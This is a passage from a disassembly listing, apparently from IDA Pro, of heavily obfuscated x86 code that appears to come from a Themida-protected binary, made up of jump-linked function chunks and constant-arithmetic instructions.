		xchg	ecx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		mov	[esp-1Ch+arg_18], edi
		push	1A7Ah
		mov	[esp-18h+arg_14], edx
		mov	edx, 11746878h
		shl	edx, 3
		sub	edx, 1
		push	edi
		mov	edi, 0B05D0EF7h
		add	edx, edi
		mov	edi, [esp-14h+arg_10]
		add	esp, 4
		mov	edi, edx
		jmp	loc_5624F5
; ---------------------------------------------------------------------------


loc_56BE9E:				; CODE XREF: sub_55EDA7+13BE4j
		and	ebx, edx
		mov	edx, [esp-18h+arg_14]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_564748
; ---------------------------------------------------------------------------


loc_56BEAB:				; CODE XREF: sub_55EDA7+119D0j
		mov	esp, [esp-14h+arg_10]
		add	ecx, 4
		xor	ecx, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		movsx	ecx, al
		push	ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_565DF1
; ---------------------------------------------------------------------------


loc_56BED4:				; CODE XREF: sub_55EDA7+F4CAj
		or	ecx, ecx
		jz	loc_570BCC
		sub	esp, 4
		jmp	loc_56026F
; ---------------------------------------------------------------------------


loc_56BEE4:				; CODE XREF: sub_55EDA7+BCBDj
		and	ecx, ebx
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		shr	ecx, 7
		jmp	sub_55E474
; ---------------------------------------------------------------------------


loc_56BEF7:				; CODE XREF: sub_55EDA7+333Aj
		pop	edi
		push	[esp+14h+var_16+2]
		pop	edi
		add	esp, 4
		push	7540h
		mov	[esp+14h+var_16+2], ebx
		jmp	loc_56D645
; ---------------------------------------------------------------------------


loc_56BF0F:				; CODE XREF: sub_55EDA7+829j
		add	esp, 4
		pop	[esp-10h+arg_C]
		not	esi
		xchg	esi, [esp-14h+arg_10]
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		xchg	ebx, edi
		jmp	loc_569576
; ---------------------------------------------------------------------------


loc_56BF27:				; CODE XREF: sub_55EDA7+1AA6j
		pop	edx
		and	eax, esi
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_5654F4
; ---------------------------------------------------------------------------


loc_56BF3D:				; CODE XREF: sub_55EDA7+13CB8j
		pop	ebp
		or	ebp, 97115CEh
		neg	ebp
		xor	ebp, 808E8016h
		add	edi, ebp
		pop	ebp
		push	ebx
		jmp	loc_561AAF
; ---------------------------------------------------------------------------


loc_56BF55:				; CODE XREF: sub_55EDA7+1072j
		push	6660h
		mov	[esp-12h+arg_C+2], ebx
		mov	ebx, 53E27A4Ch
		not	ebx
		jmp	loc_55FA51
; ---------------------------------------------------------------------------


loc_56BF69:				; CODE XREF: sub_55EDA7+51B8j
		shl	ecx, 7
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_56B75B
; ---------------------------------------------------------------------------


loc_56BF7A:				; CODE XREF: sub_55EDA7+67C4j
		mov	ebx, 4
		sub	ebp, 5F6B3814h
		jmp	loc_569EA6
; ---------------------------------------------------------------------------


loc_56BF8A:				; CODE XREF: sub_55EDA7+E559j
		push	edi
		mov	edi, 5B595AF7h
		dec	edi
		dec	edi
		neg	edi
		jmp	loc_56529A
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56BF99	proc near		; CODE XREF: sub_55EDA7+C5CEj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	eax
		mov	eax, 78157282h
		jmp	loc_55F62C
sub_56BF99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F632


loc_56BFAC:				; CODE XREF: sub_56F632+2530j
		mov	ecx, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_56DE9B
; END OF FUNCTION CHUNK	FOR sub_56F632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56BFBA:				; CODE XREF: sub_55EDA7+763Fj
		sub	ebx, 65746B48h
		jmp	loc_5697F3
; ---------------------------------------------------------------------------


loc_56BFC5:				; CODE XREF: sub_55EDA7+F96Ej
		push	edi
		jmp	sub_56F10F
; ---------------------------------------------------------------------------


loc_56BFCB:				; CODE XREF: sub_55EDA7+1C3Ej
		xchg	eax, ebp
		xchg	eax, ebx
		push	eax
		push	154Ch
		mov	[esp-8+arg_4], ebx
		push	[esp-8+arg_4]
		jmp	loc_566092
; ---------------------------------------------------------------------------


loc_56BFDE:				; CODE XREF: sub_55EDA7+C3B2j
		mov	esi, 2E747257h
		shr	esi, 2
		not	esi
		inc	esi
		or	esi, 61355447h
		jmp	loc_561D1C
; ---------------------------------------------------------------------------


loc_56BFF4:				; CODE XREF: sub_55EDA7+80B0j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_56A25E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56C003:				; DATA XREF: Themida_:0055E080o
		push	ecx
		push	76EAh
		mov	[esp], ebp
		mov	ebp, 1Ch
		mov	ecx, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_56DF07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C01B:				; CODE XREF: sub_55EDA7+A0DDj
		add	edx, 4
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		pop	esp
		push	2D77h
		mov	[esp-8+arg_4], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebp
		jmp	loc_567B8A
; ---------------------------------------------------------------------------


loc_56C04B:				; CODE XREF: sub_55EDA7+9E4Aj
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], edx
		push	[esp+14h+var_12+2]
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		pop	[esp+14h+var_16+2]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], edi
		push	52B20315h
		pop	edi
		add	eax, edi
		mov	edi, [esp+0Ch+var_E+2]
		jmp	loc_55FD7D
; ---------------------------------------------------------------------------


loc_56C089:				; CODE XREF: sub_55EDA7+F2FBj
		pop	esp
		shl	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C093:				; CODE XREF: sub_55EDA7+1206Bj
		mov	bh, dh
		pop	edx
		jmp	loc_5675E5
; ---------------------------------------------------------------------------


loc_56C09B:				; CODE XREF: sub_55EDA7+8CEj
		mov	esp, [esp-0Ah+arg_4+2]
		mov	word ptr [esp-0Ah+arg_4+2], dx
		push	ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C0AA:				; CODE XREF: sub_55EDA7+A7EBj
		and	edx, 9F6189h
		xor	edx, 79613794h
		add	ebx, 33523855h
		add	ebx, edx
		jmp	loc_56701B
; ---------------------------------------------------------------------------


loc_56C0C3:				; CODE XREF: sub_55EDA7+A0B6j
		and	ecx, 3EF06BAFh
		shl	ecx, 1
		add	ecx, 5279DF04h
		add	ebx, ecx
		pop	ecx
		jmp	loc_56239A
; ---------------------------------------------------------------------------


loc_56C0D9:				; CODE XREF: sub_55EDA7+4924j
		mov	eax, 2C437181h
		or	eax, 10450444h
		shr	eax, 1
		push	edi
		mov	edi, 18F176C9h
		dec	edi
		jmp	loc_572548
; ---------------------------------------------------------------------------


loc_56C0F1:				; CODE XREF: sub_55EDA7+11DB6j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5651B2
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C101	proc near		; CODE XREF: sub_55EDA7+10C1Aj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 624A65B1h
		jmp	loc_560897
sub_56C101	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C114:				; CODE XREF: sub_55EDA7-3CEj
		sub	eax, 6FBB764Bh
		push	dword ptr [edi+eax*4]
		push	[esp-24h+arg_20]
		pop	eax
		sub	esp, 4
		mov	[esp-20h+arg_1C], edi
		push	esp
		jmp	loc_55F38D
; ---------------------------------------------------------------------------


loc_56C12C:				; CODE XREF: sub_55EDA7+13FA9j
		push	edx
		mov	edx, 72670CBBh
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		sub	edx, 72670CB9h
		add	edi, edx
		pop	edx
		jmp	loc_56067E
; ---------------------------------------------------------------------------


loc_56C146:				; CODE XREF: sub_55EDA7+12BC6j
		push	47EEh
		mov	[esp-18h+arg_14], edx
		push	ecx
		jmp	loc_568038
; ---------------------------------------------------------------------------


loc_56C154:				; CODE XREF: sub_55EDA7+12D69j
		xor	edx, 21660C19h
		pop	ebx
		inc	edx
		sub	edx, 7620688Dh
		push	eax
		mov	eax, 2AAB727Eh
		sub	eax, 3B3C36B1h
		sub	eax, 1
		jmp	loc_567F9A
; ---------------------------------------------------------------------------


loc_56C177:				; CODE XREF: sub_55EDA7+124EBj
		mov	[esp-14h+arg_10], ebp
		mov	ebp, 51112D38h
		jmp	loc_5702CB
; ---------------------------------------------------------------------------


loc_56C184:				; CODE XREF: sub_55EDA7+D71j
		pop	ebp
		add	edx, 22B76CCBh
		add	edx, 26F7CD2h
		add	edx, edi
		sub	edx, 26F7CD2h
		jmp	loc_568E89
; ---------------------------------------------------------------------------


loc_56C19E:				; CODE XREF: sub_55EDA7+E747j
		pop	ebx
		mov	dl, byte ptr [esp-0Eh+arg_C+2]
		mov	byte ptr [esp-0Eh+arg_C+2], ch
		push	[esp-0Eh+arg_8+2]
		pop	ecx
		jmp	loc_568089
; ---------------------------------------------------------------------------


loc_56C1B0:				; CODE XREF: sub_55EDA7+7E3Cj
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esi
		jmp	loc_5666DD
; ---------------------------------------------------------------------------


loc_56C1C0:				; CODE XREF: sub_55EDA7+7865j
		mov	[esp+1Ch+var_1E+2], eax
		push	50FB3D81h
		pop	eax
		push	0
		sub	[esp+20h+var_22+2], eax
		jmp	loc_5623C2
; ---------------------------------------------------------------------------


loc_56C1D6:				; CODE XREF: sub_55EDA7+28DBj
		mov	esp, [esp+30h+var_32+2]
		push	esi
		sub	esp, 4
		jmp	loc_56FB0F
; ---------------------------------------------------------------------------


loc_56C1E5:				; CODE XREF: sub_55EDA7+D008j
		sub	[esp+12h+var_E], 437E5815h
		jmp	loc_55EC99
; ---------------------------------------------------------------------------


loc_56C1F2:				; CODE XREF: sub_55EDA7+1A21j
		pop	edx
		add	edx, 4
		jmp	loc_572107
; ---------------------------------------------------------------------------


loc_56C1FE:				; CODE XREF: sub_55EDA7+3D0Aj
		push	ecx
		push	eax
		mov	eax, 38610A6Dh
		push	6257h
		jmp	loc_55FFF8
; ---------------------------------------------------------------------------


loc_56C20F:				; CODE XREF: sub_55EDA7+2C87j
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_571EB2
; ---------------------------------------------------------------------------


loc_56C218:				; CODE XREF: sub_55EDA7+1C1Bj
		add	ebx, ecx
		add	ebx, 4FE9153Ch
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_56F3C4
; ---------------------------------------------------------------------------


loc_56C236:				; CODE XREF: sub_55EDA7+3AD8j
		xor	eax, 41D46018h
		or	eax, 7D991B25h
		jmp	loc_5684D6
; ---------------------------------------------------------------------------


loc_56C245:				; CODE XREF: sub_55EDA7+23B8j
		xchg	esi, [esp+30h+var_32+2]
		pop	esp
		jmp	loc_55EEF6
; ---------------------------------------------------------------------------


loc_56C24E:				; CODE XREF: sub_55EDA7+C032j
		add	dword ptr [esp+0], 4
		pop	edx
		push	ebp
		mov	ebp, 7BDC3524h
		jmp	loc_5632FE
; ---------------------------------------------------------------------------


loc_56C25E:				; CODE XREF: sub_55EDA7+9BFFj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C263:				; CODE XREF: sub_55EDA7+25EEj
		add	bl, 3Dh
		add	bl, ah
		sub	bl, 3Dh
		push	[esp-18h+arg_14]
		pop	eax
		jmp	loc_560D2E
; ---------------------------------------------------------------------------


loc_56C274:				; CODE XREF: sub_55EDA7+79C3j
		push	ecx
		mov	ecx, 2AE46C5Ah
		jmp	loc_56552E
; ---------------------------------------------------------------------------


loc_56C27F:				; CODE XREF: sub_55EDA7+8610j
		push	eax
		jmp	loc_5609F2
; ---------------------------------------------------------------------------


loc_56C285:				; CODE XREF: sub_55EDA7+DD5Bj
		pop	eax
		sub	ax, dx
		jmp	loc_566A72
; ---------------------------------------------------------------------------


loc_56C28E:				; CODE XREF: sub_55EDA7+590Fj
		push	esp
		pop	edx
		jmp	loc_5633DB
; ---------------------------------------------------------------------------


loc_56C295:				; CODE XREF: sub_55EDA7+F3E0j
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], ebx
		jmp	loc_56A295
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56C2A3:				; DATA XREF: Themida_:0055DF1Co
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56E3BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C2AF:				; CODE XREF: sub_55EDA7+9A8Ej
		pop	eax
		sub	eax, 3598054Eh
		sub	eax, ecx
		jmp	loc_562FBE
; ---------------------------------------------------------------------------


loc_56C2BC:				; CODE XREF: sub_55EDA7+3045j
		or	di, 1E11h
		push	esi
		mov	si, 25C6h
		dec	si
		shl	si, 4
		shl	si, 3
		sub	si, 0DFE6h
		sub	di, si
		jmp	loc_570A00
; ---------------------------------------------------------------------------


loc_56C2DD:				; CODE XREF: sub_55EDA7+BD52j
		add	bl, 0A3h
		sub	bl, al
		sub	bl, 0A3h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_56531D
; ---------------------------------------------------------------------------


loc_56C2F5:				; CODE XREF: sub_55EDA7+CB68j
		mov	bl, 0A9h
		sub	bl, ah
		pop	eax
		jmp	loc_566250
; ---------------------------------------------------------------------------


loc_56C2FF:				; CODE XREF: sub_55EDA7+5636j
		pop	ecx
		add	ecx, 4
		jmp	loc_566BC2
; ---------------------------------------------------------------------------


loc_56C30B:				; CODE XREF: sub_55EDA7+5A2Dj
		mov	ecx, [esp+44h+var_46+2]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_560B92
; ---------------------------------------------------------------------------


loc_56C31C:				; CODE XREF: sub_55EDA7+C968j
		pop	ecx
		jmp	loc_56AD0D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	esi
		mov	esi, 3D537AD8h
		jmp	loc_56BBCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C33B:				; CODE XREF: sub_55EDA7+43A3j
		or	dl, cl
		mov	cx, word ptr [esp+22h+var_22]
		add	esp, 2
		add	dl, 0A9h
		sub	dl, 6Bh
		xor	dl, 37h
		sub	bl, dl
		pop	edx
		xor	al, bl
		mov	bx, word ptr [esp+1Ah+var_1A]
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_56CCA4
; ---------------------------------------------------------------------------


loc_56C361:				; CODE XREF: sub_55EDA7+E102j
		push	[esp+1Eh+var_1A]
		push	[esp+22h+var_22]
		jmp	loc_56E0FE
; ---------------------------------------------------------------------------


loc_56C36D:				; CODE XREF: sub_55EDA7+B57Dj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C372:				; CODE XREF: sub_55EDA7+5E1j
		pop	esp
		pop	[esp-4+arg_0]
		pop	esp
		xor	[esp-0Ch+arg_C], esi
		pop	esi
		pop	eax
		jmp	loc_567E4F
; ---------------------------------------------------------------------------


loc_56C382:				; CODE XREF: sub_55EDA7+A37Dj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56C387:				; CODE XREF: sub_55EDA7+12EAEj
		pop	ebx
		sub	eax, 0FCDE4426h
		add	edi, eax
		mov	eax, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_5628C9
; ---------------------------------------------------------------------------


loc_56C39A:				; CODE XREF: sub_55EDA7+4EC4j
		xor	al, 0E7h
		push	ebx
		mov	bl, 5Dh
		xor	bl, 49h
		not	bl
		xor	bl, 0E5h
		add	al, bl
		jmp	loc_56C5E3
; ---------------------------------------------------------------------------


loc_56C3AE:				; CODE XREF: sub_55EDA7+2252j
		and	esi, 68BE6407h
		sub	esi, 4FFF5122h
		sub	esi, 25CC7D42h
		dec	esi
		add	esi, 2204F4AFh
		jmp	loc_56913F
; ---------------------------------------------------------------------------


loc_56C3CC:				; CODE XREF: sub_55EDA7+2A12j
		pop	ecx
		sub	eax, 1
		sub	eax, 1
		sub	eax, 0DC78CCC5h
		push	eax
		jmp	loc_56C4BD
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C3E2	proc near		; CODE XREF: sub_55EDA7+A2CCj

; FUNCTION CHUNK AT 0055E81F SIZE 00000012 BYTES

		push	ebx
		mov	bh, 0BFh
		jmp	loc_55E81F
sub_56C3E2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C3EA:				; CODE XREF: sub_55EDA7+134A4j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_56FD29
; ---------------------------------------------------------------------------


loc_56C3FD:				; CODE XREF: sub_55EDA7+498Dj
		xor	edi, ebp
		pop	ebp
		sub	edx, edi
		pop	edi
		jmp	loc_56E093
; ---------------------------------------------------------------------------


loc_56C408:				; CODE XREF: sub_55EDA7+46D3j
		pop	ebx
		sub	eax, 250901CCh
		add	eax, ebx
		add	eax, 250901CCh
		jmp	loc_566E25
; ---------------------------------------------------------------------------


loc_56C41A:				; CODE XREF: sub_55EDA7+E926j
		add	ecx, 554F6C5Fh
		add	ecx, 3F2E5259h
		xor	ecx, 92699528h
		sub	edx, ecx
		pop	ecx
		jmp	loc_5621BD
; ---------------------------------------------------------------------------


loc_56C434:				; CODE XREF: sub_55EDA7+36B9j
		add	esp, 4
		sub	bl, 46h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		jmp	loc_56EDCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C448:				; CODE XREF: sub_55EDA7+90Dj
		add	edx, 4
		jmp	sub_56E5D5
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	13AAh
		mov	[esp], esi
		push	ecx
		jmp	loc_55FF50

; =============== S U B	R O U T	I N E =======================================



sub_56C469	proc near		; CODE XREF: sub_55EDA7+C3EDj
		push	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_565A4F
sub_56C469	endp

; ---------------------------------------------------------------------------


loc_56C47C:				; CODE XREF: Themida_:0057022Aj
		inc	esi
		push	2216h
		mov	[esp], edx
		jmp	loc_560089
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C48A:				; CODE XREF: sub_55EDA7+ACC0j
		mov	edx, 55057F64h
		jmp	loc_56CCE5
; ---------------------------------------------------------------------------


loc_56C494:				; CODE XREF: sub_55EDA7+72EFj
		push	edi
		mov	edi, 78E65CA6h
		or	edi, 50F059ADh
		add	edi, 261D1510h
		add	edi, 14467A4Ch
		xor	edi, 585717C3h
		xor	edi, 131A7793h
		jmp	loc_56391C
; ---------------------------------------------------------------------------


loc_56C4BD:				; CODE XREF: sub_55EDA7+D636j
		push	ecx
		mov	ecx, 16D3161Bh
		shr	ecx, 5
		neg	ecx
		xor	ecx, 2DF572B4h
		jmp	sub_5713BB
; ---------------------------------------------------------------------------


loc_56C4D3:				; CODE XREF: sub_55EDA7+FE36j
		pop	esi
		pop	eax
		jmp	loc_56947C
; ---------------------------------------------------------------------------


loc_56C4DA:				; CODE XREF: sub_55EDA7+2E71j
		shl	bl, 6
		jmp	loc_55F255
; ---------------------------------------------------------------------------


loc_56C4E2:				; CODE XREF: sub_55EDA7+CEF7j
		mov	ebx, ecx
		pop	ecx
		add	ebx, 1E8D4BABh
		and	ebx, 381143C8h
		shr	ebx, 8
		push	ecx
		mov	ecx, 5AFD16B4h
		add	ebx, ecx
		pop	ecx
		push	ecx
		push	ebx
		mov	ebx, 19460274h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_567D7D
; ---------------------------------------------------------------------------


loc_56C50C:				; CODE XREF: sub_55EDA7+F8CDj
		mov	esp, [esp-24h+arg_20]
		shl	[esp-24h+arg_20], cl
		jmp	loc_561D9E
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C517	proc near		; CODE XREF: sub_55EDA7+22BFj
		sub	esp, 4
		jmp	loc_55F9D3
sub_56C517	endp

; ---------------------------------------------------------------------------


loc_56C51F:				; CODE XREF: Themida_:005706E6j
		mov	esi, 7C4F147Fh
		and	esi, 52852C21h
		jmp	loc_570C63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C52F:				; CODE XREF: sub_55EDA7+112E7j
		add	eax, edi
		jmp	loc_568B80
; ---------------------------------------------------------------------------


loc_56C536:				; CODE XREF: sub_55EDA7+AA82j
		mov	esi, 691970C3h
		mov	eax, esi
		pop	esi
		shl	eax, 7
		jmp	loc_57119E
; ---------------------------------------------------------------------------


loc_56C546:				; CODE XREF: sub_55EDA7+12A3j
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		jmp	loc_56DAA9
; ---------------------------------------------------------------------------


loc_56C551:				; CODE XREF: sub_55EDA7+C7DCj
		push	ax
		mov	ah, 13h
		jmp	loc_568B8B
; ---------------------------------------------------------------------------


loc_56C55A:				; CODE XREF: sub_55EDA7+4C7Bj
		mov	ebx, 9053EB9h
		jmp	loc_561F07
; ---------------------------------------------------------------------------


loc_56C564:				; CODE XREF: sub_55EDA7+4C38j
		push	6884h
		mov	[esp-24h+arg_20], eax
		pop	edx
		sub	esp, 4
		mov	[esp-24h+arg_20], edi
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		push	edx
		mov	edx, edi
		push	ebp
		mov	ebp, edx
		mov	eax, ebp
		mov	ebp, [esp-1Ch+arg_18]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-18h+arg_14]
		pop	esp
		jmp	loc_568E1B
; ---------------------------------------------------------------------------


loc_56C59A:				; CODE XREF: sub_55EDA7+FBCj
		mov	esp, [esp-20h+arg_1C]
		mov	[esp-20h+arg_1C], esp
		add	[esp-20h+arg_1C], 4
		jmp	loc_563BE2
; ---------------------------------------------------------------------------


loc_56C5AC:				; CODE XREF: sub_55EDA7-6A9j
		push	6073h
		mov	[esp-2Ch+arg_28], ecx
		mov	ecx, 3F4F16F8h
		and	ecx, 44EC365Eh
		or	ecx, 3FB33BD5h
		inc	ecx
		push	esi
		mov	esi, 0E3581ED5h
		jmp	loc_5672E6
; ---------------------------------------------------------------------------


loc_56C5D1:				; CODE XREF: sub_55EDA7+1476j
		mov	[esp+34h+var_36+2], edi
		mov	edi, 50F340F1h
		xor	ecx, edi
		mov	edi, [esp+34h+var_36+2]
		jmp	loc_5611A3
; ---------------------------------------------------------------------------


loc_56C5E3:				; CODE XREF: sub_55EDA7+D602j
		pop	ebx
		add	bh, al
		mov	eax, [esp+0Ch+var_E+2]
		add	esp, 4
		jmp	loc_565250
; ---------------------------------------------------------------------------


loc_56C5F1:				; CODE XREF: sub_55EDA7+85FAj
		mov	[esp+8+var_8], ebx
		mov	ebx, 8996A2Dh
		shr	ebx, 6
		jmp	loc_570603
; ---------------------------------------------------------------------------


loc_56C601:				; CODE XREF: sub_55EDA7+76Ej
		add	ecx, ebx
		add	ecx, 7FC74BCAh
		pop	ebx
		sub	ecx, 3AE61E31h
		jmp	loc_56AB3D
; ---------------------------------------------------------------------------


loc_56C615:				; CODE XREF: sub_55EDA7+ED33j
		xor	ebp, 63CE3F0Ch
		or	ebp, 729B24A1h
		xor	ebp, 6D955ECAh
		push	ecx
		mov	ecx, 548C22B1h
		and	ebp, ecx
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		push	esi
		mov	esi, 62180C99h
		sub	esp, 4
		jmp	loc_5609EA
; ---------------------------------------------------------------------------


loc_56C643:				; CODE XREF: sub_55EDA7+106F6j
		neg	ecx
		xor	ecx, 0A0AAC2D9h
		add	edi, ecx
		pop	ecx
		add	edi, ebx
		jmp	loc_570626
; ---------------------------------------------------------------------------


loc_56C655:				; CODE XREF: sub_55EDA7+E6DEj
		sub	ebp, 0DC1AE2B9h
		add	eax, 2D0326EDh
		sub	eax, ebp
		push	ebp
		jmp	loc_55F17D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56C668:				; CODE XREF: Themida_:0056FC07j
		mov	[esp], edx
		push	eax
		mov	ah, 20h
		mov	dl, 67h
		sub	dl, 46h
		add	dl, ah
		push	bx
		mov	bh, 46h
		add	dl, bh
		pop	bx
		pop	eax
		push	ecx
		mov	cl, dl
		mov	bh, cl
		pop	ecx
		jmp	loc_56B39A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C689:				; CODE XREF: sub_55EDA7+10213j
		push	228Ch
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_56FC0C
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C696	proc near		; CODE XREF: sub_55EDA7+10EF8j

; FUNCTION CHUNK AT 005703AB SIZE 0000000F BYTES

		push	ebx
		mov	bh, 54h
		and	bh, 89h
		inc	bh
		not	bh
		jmp	loc_5703AB
sub_56C696	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C6A5:				; CODE XREF: sub_55EDA7+D963j
		push	454Eh
		jmp	loc_570979
; ---------------------------------------------------------------------------


loc_56C6AF:				; CODE XREF: sub_55EDA7+DD4j
		mov	edx, 79DE3BB4h
		jmp	loc_571F5C
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56C6B9	proc near		; CODE XREF: sub_55EDA7+54B6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056BB65 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E523 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056EEC6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570EB2 SIZE 0000001C BYTES

		push	ebx
		mov	ebx, 8B84D2CDh
		sub	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_56EEC6
sub_56C6B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56C6E1:				; CODE XREF: sub_55EDA7+E88Cj
		mov	[esp+0], ebx
		sub	esp, 4
		jmp	near ptr byte_561013
; ---------------------------------------------------------------------------


loc_56C6EF:				; CODE XREF: sub_55EDA7+1AEBj
		mov	edx, esp
		jmp	loc_56E322
; ---------------------------------------------------------------------------


loc_56C6F6:				; CODE XREF: sub_55EDA7+4B4Ej
		sub	eax, 5175182Ch
		jmp	loc_5669EA
; ---------------------------------------------------------------------------


loc_56C700:				; CODE XREF: sub_55EDA7+F81Ej
		xchg	eax, esi
		jmp	sub_56D867
; ---------------------------------------------------------------------------


loc_56C706:				; CODE XREF: sub_55EDA7+71AEj
		pop	esp
		xor	esi, ebp
		pop	ebp
		jmp	loc_56C6A5
; ---------------------------------------------------------------------------


loc_56C70F:				; CODE XREF: sub_55EDA7+9A02j
		mov	[esp+0], eax
		mov	eax, esp
		push	3563h
		mov	[esp+0Eh+var_E], ebx
		push	edi
		push	746C6E1Eh
		pop	edi
		shr	edi, 1
		jmp	loc_55E27B
; ---------------------------------------------------------------------------


loc_56C72A:				; CODE XREF: sub_55EDA7+1F74j
		push	edx
		mov	edx, 64151E7Fh
		mov	esi, edx
		jmp	loc_563FE0
; ---------------------------------------------------------------------------


loc_56C737:				; CODE XREF: sub_55EDA7+10625j
		sub	[esp-14h+arg_14], esi
		add	[esp-14h+arg_14], 7C540A44h
		push	[esp-14h+arg_10]
		pop	esi
		add	esp, 4
		mov	ecx, [esp-18h+arg_14]
